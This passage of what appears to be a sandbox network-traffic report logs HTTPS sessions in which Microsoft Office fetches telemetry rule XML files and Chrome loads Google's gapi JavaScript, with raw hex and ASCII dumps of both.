R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:16 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:16 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:16 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: b9cb9fa3-701e-005c-6994-2abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080716Z-16849878b78q9m8bqvwuva4svc00000007w000000000164z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:16 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:16 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 2a43884c-b01e-0098-517c-2acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080716Z-15b8d89586fpccrmgpemqdqe58000000045g000000003td2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:16 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 3601e2f9-501e-0064-27bd-2a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080716Z-159b85dff8fq4v8mhC1DFW70kw00000001u0000000001p6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:16 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:16 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:16 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: daa440d4-101e-0028-4cca-2a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080716Z-159b85dff8fj6b6xhC1DFW8qdg0000000110000000002zgd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:16 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:16 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:16 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080716Z-15b8d89586fxdh48ft0acdbg44000000030g000000007bk4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:16 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49763	172.217.18.110	443	3532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:16 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 08:07:17 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 30 Oct 2024 15:39:31 GMT Expires: Thu, 30 Oct 2025 15:39:31 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 59266 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-31 08:07:17 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-31 08:07:17 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-10-31 08:07:17 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-10-31 08:07:17 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-10-31 08:07:17 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-10-31 08:07:17 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-10-31 08:07:17 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-10-31 08:07:17 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-10-31 08:07:17 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
